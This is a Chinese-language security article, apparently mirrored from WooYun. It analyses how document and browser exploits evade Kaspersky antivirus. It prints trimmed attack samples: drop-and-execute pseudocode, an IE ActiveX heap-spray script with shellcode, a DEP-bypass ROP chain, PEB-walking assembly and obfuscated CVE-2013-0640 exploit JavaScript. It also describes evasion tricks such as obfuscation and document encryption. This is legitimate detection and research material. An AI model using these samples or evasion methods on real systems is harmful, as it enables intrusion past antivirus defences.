漏洞利用與卡巴斯基的對抗之路

wyzsk發表於2020-08-19
作者: 夜未央 · 2014/09/04 12:24

0x00 致謝


特別感謝各位朋友在這一年中對自己工作的支援,無以為報,只能湊合寫一些文章來一搏各位的歡心,如有不對之處還請各位不吝指出,感激不盡!

首先感謝以下朋友給予自己的幫助:

泉哥

沒譜

instruder

我可愛的同事們

0x01 題記:


主題是關於漏洞利用與卡巴斯基之間的種種對抗,之所以選擇卡巴斯基是因為其在眾多防毒軟體中為一個典型,從04、05年的記憶體查殺到最新流行的行為檢測雲查殺,卡巴斯基一直緊跟時代步伐並且針對漏洞利用的查殺也越來越準確有效,與諾頓、Bitdefender號稱是最難繞過的殺軟之一。防毒軟體對文件類漏洞和瀏覽器漏洞的查殺最為嚴格,此篇也以上述兩類漏洞利用作為示例進行闡述。

漏洞利用技術的發展也是對抗防毒軟體查殺技術的發展,其中可見各種奇技淫巧,令人目不暇接,其中針對卡巴斯基這款防毒軟體的繞過方法更是讓人眼前一亮,基本上繞過卡巴斯基的方法對於其他殺軟基本可以做到通殺,這也是分析總結漏洞利用與卡巴斯基對抗的目的所在,以一個旁觀者的角度來分析兩者之間的對抗,更能清晰的理解漏洞利用與防毒軟體之間的對抗發展,管中窺豹可見一斑。

文章中使用的相關程式碼都是從實際的漏洞利用例項中提取精簡而來,並不會實際提供相關漏洞樣本,此處還請大家多多見諒。廢話不多說,下面開始正題:

0x02 漏洞利用的基本形式


MS Office 漏洞的沒落,Adobe Reader PDF漏洞的方興未艾,Flash Player漏洞的強勢崛起以及目前瀏覽器UAF漏洞的中興,漏洞的形式多種多樣但是漏洞利用的基本思路倒沒有太大的變化,無非兩種形式:下載並執行和釋放並執行,可謂萬變不離其宗,漏洞利用的最終目的就是把一個程式執行起來,防毒軟體的查殺目的為把這種行為檢測出來報警並阻止其執行。 漏洞利用最終執行的虛擬碼如下:

/***********************************************************************/
/* 演示漏洞利用虛擬碼                                                     */
/***********************************************************************/
#include <windows.h>
void main()
{
    HANDLE hFileHandle;     //主體檔案控制程式碼
    HANDLE hExeFile;        //exe程式控制程式碼
    char exploitName[MAX_PATH] = "bin.xxx"; // Exploit主體檔案路徑
    char tempPath[MAX_PATH] = {0};
    DWORD dwWrite =0;
    DWORD exeBufferOffset = 0x1000;     //exe Exploit主體檔案中的偏移

    char exebuffer [1024] = {0};        //緩衝區

    hFileHandle = CreateFileA(exploitName,      //Exploit 主體檔案路徑
                            GENERIC_READ,
                            FILE_SHARE_READ,
                            NULL,
                            OPEN_EXISTING,
                            NULL,
                            NULL);
    SetFilePointer(hFileHandle,
                    exeBufferOffset,
                    NULL,
                    FILE_BEGIN);

    ReadFile(hFileHandle,exebuffer,sizeof(exebuffer),&dwWrite,NULL);    //讀檔案
    GetTempPathA(MAX_PATH,tempPath);            //獲取temp路徑
    strcat_s(tempPath,"winexe.exe");

    hExeFile = CreateFileA(tempPath,        //建立exe
                        GENERIC_WRITE,
                        FILE_SHARE_WRITE,
                        NULL,
                        CREATE_ALWAYS,
                        NULL,
                        NULL);
    WriteFile(hExeFile,
            exebuffer,
            sizeof(exebuffer),
            &dwWrite,
            NULL);
    CloseHandle(hFileHandle);
    CloseHandle(hExeFile);

    WinExec(tempPath,SW_SHOW);      //執行exe
}}

以釋放並執行的行為虛擬碼作為例子,可以得到以下資訊:

(1) ShellCode 使用作業系統的API 函式

(2) 主體檔案路徑必須要首先得到

(3) 透過偏移讀取可執行檔案

(4) 獲取%temp%或其他路徑

(5) 生成可執行程式並執行

ShellCode得以執行之前,還有很多漏洞利用方法,比如堆填充(Heap Spray),繞過地址隨機化(ASLR)+資料執行保護(DEP)。

1 、Heap Spray

堆填充在瀏覽器和Flash Player相關漏洞應用比較多,Adobe Reader 的早期漏洞也會使用這種方法。其核心思想是在程式記憶體空間中填充大量無用資料,漏洞觸發之後透過相應技巧跳轉到ShellCode。

常見是在IE瀏覽器中,簡單示例程式碼如下:

<SCRIPT language="javascript">

    var heapSprayToAddress = 0x05050505;    //堆填充地址,最終會用來做shellcode執                                                //行地址
    var payLoadCode = unescape(             //ShellCode
    "%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120");
    var heapBlockSize = 0x400000;       //堆填充大小
    var payLoadSize = payLoadCode.length * 2;
    var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
    var spraySlide = unescape("%u0505%u0505");
    spraySlide = getSpraySlide(spraySlide,spraySlideSize);
    heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
    memory = new Array();

    for (i=0;i<heapBlocks;i++)
    {
        memory[i] = spraySlide + payLoadCode;
    }

    for ( i = 0 ; i < 128 ; i++) 
    {
        try{ 
            var tar = new
 ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
            tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505 ); 
        }catch(e){}
    }
    function getSpraySlide(spraySlide, spraySlideSize)
    {
        while (spraySlide.length*2<spraySlideSize)
        {
            spraySlide += spraySlide;
        }
        spraySlide = spraySlide.substring(0,spraySlideSize/2);
        return spraySlide;
    }

</SCRIPT> 

Flash Player 和Adobe Reader中也會採用類似的方法來達到堆填充的目的。這裡就不舉相關例子了,有興趣的話,可以在網路上搜尋一下暴露的POC。

2、 ASLR+DEP

地址隨機化和資料執行保護在最新的作業系統中普遍採用的一種保護技術,若要執行ShellCode,就必須要繞過ASLR+DEP。目前的採用的方法主要有兩種:洩露模組基址、使用未ASRL的DLL模組,最終目的就是繞過DEP。

鑑於目前常見的技術是使用ROP,程式碼形式簡單如下:

## ROP 
rop =  struct.pack("<I",0x77bf362c) # POP EBX / RET
rop += struct.pack("<I",0x41414141) # junk
rop += struct.pack("<I",0x41414141) # junk
rop += struct.pack("<I",0xFFFFFFFF) # 00000000
rop += struct.pack("<I",0x7e810b7e) # INC EBX / RET

rop += struct.pack("<I",0x77bebb36) # POP EBP / RET
rop += struct.pack("<I",0x7C862144) # SetProcessDEPPolicy

rop += struct.pack("<I",0x77bf3b47) # POP EDI / RET
rop += struct.pack("<I",0x77be1110) # RET
rop += struct.pack("<I",0x77bf1891) # POP ESI / RET
rop += struct.pack("<I",0x77be2091) # RET

rop += struct.pack("<I",0x7e6ea62b) # PUSHAD / RET
 ####

透過使用ROP的方式呼叫系統函式比如SetProcessDEPPolicy、VirtualProtect等函式修改一部分記憶體屬性,將其改為可執行,然後再跳轉執行。

3、 FS:[30]獲取Kernel32基址

FS:[30]這種方法本質是透過PEB的方式來獲取到Kernel32的基址,進而獲取到Kernel32中函式地址。程式碼如下:

xor eax, eax               ; // clear eax
mov eax, fs:[ 0x30 ]       ; // get a pointer to the PEB
mov eax, [ eax + 0x0C ]    ; // get PEB->Ldr
mov eax, [ eax + 0x14 ]    ; // get PEB->Ldr.InMemoryOrderModuleList.Flink                              ;//(1st entry)
mov eax, [ eax ]           ; // get the next entry (2nd entry)
mov eax, [ eax ]           ; // get the next entry (3rd entry)
mov ebp, [ eax + 0x10 ]    ; // get the 3rd entries base address                                        ;//(kernel32.dll)

獲取到kernel32基址後可以透過很多種方法來獲取函式地址,大家可以去網上想相關的資料來查。

0x03 卡巴斯基的對抗策略


上述的漏洞利用方法來看,卡巴斯基可以在上述方法中進行有針對性的查殺。最初卡巴斯基相對於對病毒和木馬的查殺而言,漏洞利用方面的查殺是非常弱的,後來由於漏洞利用越來越廣泛越來越爛大街,所用的方法也都是如出一轍,其改進速度非常快,針對漏洞利用方法進行了又針對性的查殺。

行為查殺和虛擬機器執行檢查是最近兩三年比較流行的殺軟查殺方式,沒有這兩個東西都不好意思說自己是一款防毒軟體,可見一斑。

1、 Heap Spray檢測

包括瀏覽器(IE、Chrome、Firefox)、Adobe Reader和Flash Player,Spray的程式碼的特徵非常明顯。如下程式碼

var spraySlide = unescape("%u0505%u0505");

Javasript程式碼會使用unescape()函式轉成16進位制字元,然後填充到堆上。抓住了這個行為特徵,再加上之後的填充操作,就可以作為一種明顯的特徵。

卡巴斯基自帶有JavaScript混淆程式碼的解密功能,簡單的異或移位修改等操作其是能夠還原出來真實程式碼,最終對使用者進行報警。

2、 shellcode行為檢測

ShellCode的最終行為是把一個可執行程式執行起來,最終肯定需要呼叫相關的API執行函式:WinExec、Createprocess、ShellExecute、CreateProcessInternal等,對上述API函式進行重點監控。

卡巴斯基並沒有對Ring3層的函式進行HOOK,這與麥咖啡有一些區別,而是在Ring0層對執行API函式的各個方面都進行細緻的檢測,包括函式呼叫堆疊、函式返回地址、EXE檔案路徑等等,若有其中一項符合檢測規則,就會有相應的告警提示出來。

呼叫堆疊檢測主要是對當前呼叫API函式的堆疊進行一些對比。一般情況下,Heap Spray之後跳轉到ShellCode中執行,當前的棧幀指標(ESP)肯定不是原始的棧幀而是一個堆上的地址,類似與VS開發中的GS選項,ShellCode執行時的棧幀與系統預設棧幀不一致。

程式正常執行情況下,函式呼叫完成之後就會返回到程式的空間中繼續執行,但是在ShellCode中函式呼叫完成之後返回到堆中執行,很明顯的一種異常行為。

木馬或者病毒的釋放由ShellCode來完成,其釋放目錄比較敏感,比如C:\Windows、C:\Widnwos\System32等等,漏洞利用中一般會選擇%temp%之類的目錄,原因是在任何系統中都有讀寫執行的許可權,不用考慮許可權的問題,基本上對敏感目錄的監控是每個殺軟必須的功能,這一點卡巴斯基也不例外。

3、 漏洞特徵檢測

每種漏洞都有其明顯的特徵,卡巴斯基定位出漏洞特徵之後,就能夠爆出精確的CVE編號,這對使用者來說非常有幫助,如下圖:

enter image description here

圖1:卡巴斯基告警圖

卡巴斯基告警資訊中直接提示了CVE-2012-0158,這種就是其提取了漏洞的首要特徵作為特徵碼,精確定位漏洞編號。

透過簡單的查詢,就可以定位出,卡巴斯基定位的特徵碼也是此漏洞觸發的關鍵位置:

enter image description here

圖2:Cobj為漏洞的關鍵位置

4、 重點檔案和目錄監控

這一點在上述內容中就已經提到,敏感目錄包括系統目錄和使用者目錄,%temp%目錄由於其在任何使用者下都有可讀可寫可執行的許可權,首當其衝成為防毒軟體監控的重點。

總上所述,卡巴斯基對漏洞利用的檢測是越來越嚴格的,之前所描述的四點其實只是其中的小部分,根據檢測的樣本情況我也只能分析出來這麼,還請大家見諒。

卡巴斯基的檢測策略並不是單一的,不是採用一種檢測思路,而是採用多種檢測策略進行組合檢測。比如說某一個瀏覽器漏洞利用程式碼繞過了JavaScript解碼檢測,但是在ShellCode部分就不一定能夠繞過。

0x04 漏洞利用對抗卡巴斯基檢測策略


魔高一尺道高一丈,還是道高一尺魔高一丈,沒有一個定論。放在漏洞利用與防毒軟體的對抗上也同樣適用,這是一對矛盾發展的綜合體。漏洞利用對抗以卡巴斯基為程式碼的防毒軟體的主要思路就是使其把惡意程式碼識別為程式執行正常程式碼,混淆防毒軟體的對惡意程式碼的識別能力,抓住這一點就能夠很好的理解漏洞利用針對卡巴斯基所做的精心構造的技巧:

1、 指令碼程式碼混淆

代表了一類漏洞利用中使用的技巧,縱觀網路上爆出真實的漏洞利用樣本,沒有一個是直接使用原始的指令碼程式碼,都是經過了一些巧妙構造,最簡單的就是加密混淆,最終混淆出來的程式碼面目全非,分析人員手動進行分析都有很大的難度需要花費大量的精力,更別說軟體能夠識別了。

    function eQUIVALENT(cARDINI) {
    var mIRACOL = rIGUARDI(vILMENTE(cARDINI));
    while (mIRACOL.length < (2 * 2 * 2 * 2 * 2 * 2 * 2 * 2 * 2 * 2 * 2 * 13 * 2))
    mIRACOL += mIRACOL;
    pECCATORE((2 * 2 * 2 * 2 * 2 * 2 * 2 * 2 * 2));
    var cHIAMATO = [];
    var rENDUTO = ((cARDINI >>> 16) & (13 + 2 * 11 * 11)).toString((2 * 5 + 2 * 3));
    var sMISURATO = (cARDINI >>> 24).toString((3 * 3 + 7));
    if (rENDUTO.length == 1)
        rENDUTO = "0" + rENDUTO;
    if (sMISURATO.length == 1)
        sMISURATO = "0" + sMISURATO;
    if (vOLENCI["dIAVOLO"].indexOf("9.") == 0)
        for (var oFFICIO = 10; oFFICIO < 80; oFFICIO++) {
            var gANELLONE = rIGUARDO(rENDUTO + sMISURATO);
            cHIAMATO.push(mIRACOL.substring(0, ((2 * 5 * 2 * 19 * 139) / 2) - 3) + gANELLONE);
        }
    else
        for (var oFFICIO = 10; oFFICIO < 80; oFFICIO++) {
            var gANELLONE = rIGUARDO(rENDUTO + sMISURATO);
            cHIAMATO.push(mIRACOL.substring(0, ((47 * 2 * 7 * 5 * 2 * 2 * 2 * 2) / 2) - 3) + gANELLONE);
        }
    var dEFECTIVE = [];
    for (var aLLODETTA = 0; aLLODETTA < cHIAMATO.length; aLLODETTA++)
        if (aLLODETTA % 2 == 0)
            dEFECTIVE.push(cHIAMATO[aLLODETTA] + qUETARSI);
    pECCATORE(vOLENCI[sHOGG('rtboteejucaOCn', 4013, 6949)]);
}
var cONTRARIA = [];
function dISGRIEVI(pRELIBA) {
    if (vOLENCI[sHOGG('IAVOLOd', 9323, 8863)].indexOf("9.") == 0)
        for (var oFFICIO = 10; oFFICIO < 40; oFFICIO++)
            pOSSEDER.push(gRIDARO.substring(0, ((3 * 3 * 61 * 3 * 17 + 24821) / 2) - 3) + oFFICIO.toString());
    else
        for (var oFFICIO = 10; oFFICIO < 40; oFFICIO++)
            pOSSEDER.push(gRIDARO.substring(0, ((3 * 239 * 2 * 2 + 541 * 2 * 2 * 23) / 2) - 3) + oFFICIO.toString());
    pECCATORE(pRELIBA);
}

以上程式碼節選自CVE-2013-0640 Adobe Reader 漏洞利用的Javascript 程式碼,所有的變數名稱和函式名稱經過了隨機化處理,某些函式只能靠猜測來確認其功能,程式碼中也沒有直接的記憶體填充操作。

加密混淆過的指令碼程式碼可讀性之差,讓人抓狂。卡巴斯基會花費大量的記憶體進行解碼,考慮到效能和使用者體驗,其會認為這是正常執行程式碼。當然這是之前的情況,目前這份程式碼卡巴斯基肯定是能夠檢測出來的。

2、 ShellCode多樣化

條條大路通羅馬來形容ShellCode的變形和多樣化一點也不為過,只要是能夠達到最終執行EXE的目的,ShellCode會使用各種奇技淫巧,無所不用其極。

加密ShellCode比如簡單的異或移位等操作已經無法對抗卡巴斯基,其對ShellCode的解碼能力非常強大。目前拿到的樣本顯示某些漏洞利用已經不再對ShellCode進行加密,而是從其他方面下手,比如在執行行為上進行有技巧性的修改。

ShellCode執行棧在程式預設堆疊棧幀、ShellCode透過ROP鏈的形式執行、呼叫API執行函式之前和之後使用程式預設模組程式碼、呼叫第三方模組執行EXE等等等等,此處就不進行一一列舉。

簡單示例程式碼如下:

#include <windows.h>

void main()
{
    WinExec("cmd.exe %temp%\\calc.exe",SW_SHOW);
}

透過cmd.exe把釋放到%temp%目錄下的calc.exe執行起來,當然也有變形比如把cmd.exe複製到其他目錄之後執行。第三方程式需要保證是系統預設並且卡巴斯基不會阻止其執行,目前此種ShellCode利用方式已經被卡巴斯基修補。

3、 檔案格式變形

這方面文件格式類漏洞利用做的比較多,複合文件格式由於其自身的複雜性,保證其漏洞觸發成功率和穩定性的情況下可以把初始樣本改成一個格式非常複雜,各種檔案元素圖片等等巢狀在一起的一個最終利用文件,其中ShellCode可以在文件中的任意位置。

就樣本分析來看,上面的這種方法繞過還繞不過卡巴斯基的話,還有另外一個大殺器,就是對文件進行加密處理,Adobe Reader的樣本比較多采用這種方式,卡巴斯基對加密後的文件無任何解密能力,想檢測也無法做到,只能認為其是一個正常文件。這是第一步,後面對文件開啟過程中的ShellCode檢測並不會因為判定其是一個正常文件就放棄檢測。因此在靜態繞過卡巴斯基檢測之後,也需要對卡巴斯基其他的檢測方式進行相應的反檢測處理。

0x05 總結


本來自己想寫一篇漏洞利於與卡巴斯基的對抗史,但是有些東西不能說的太細,很多細節在這裡不能一一表述,最終就寫成了這麼一篇科普文,實乃一大憾事,以後會對此篇文章中的一些細節進行補充,大家見諒,廢話很多,乾貨到一點沒有。

卡巴斯基是一款非常強大的防毒軟體,這一點毋庸置疑。漏洞利用與之對抗也促進了雙方技術能力和水平的提高,讓我等小菜開啟眼界。

路漫漫其修遠兮,吾將上下而求索,謹以此句送給奮戰在逆向第一線的各位朋友。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章